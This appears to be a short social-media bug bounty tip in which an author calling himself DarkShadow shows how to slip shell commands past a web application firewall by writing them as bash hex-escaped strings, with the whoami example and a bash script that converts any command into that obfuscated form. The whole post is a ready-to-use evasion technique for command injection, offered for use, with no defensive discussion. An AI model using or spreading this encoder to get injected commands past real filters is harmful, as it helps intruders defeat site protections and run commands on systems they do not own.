Hey Hunter's,
DarkShadow here back again, dropping a really interesting bypass method!

❎WAF block: whoami
✅WAF bypass: $'\x77\x68\x6f\x61\x6d\x69'

✨Bash script:

#!/bin/bash
str="$1"
out=""
for ((i=0; i<${#str}; i++)); do
    char="${str:i:1}"
    ascii=$(printf '%d' "'$char")
    hex=$(printf '%02x' "$ascii")
    out="${out}\\x${hex}"
done
echo "$'$out'"

Guy's using my this dark-hex script you can directly execute obfuscate commands in bash!

#bugbountytips #bypass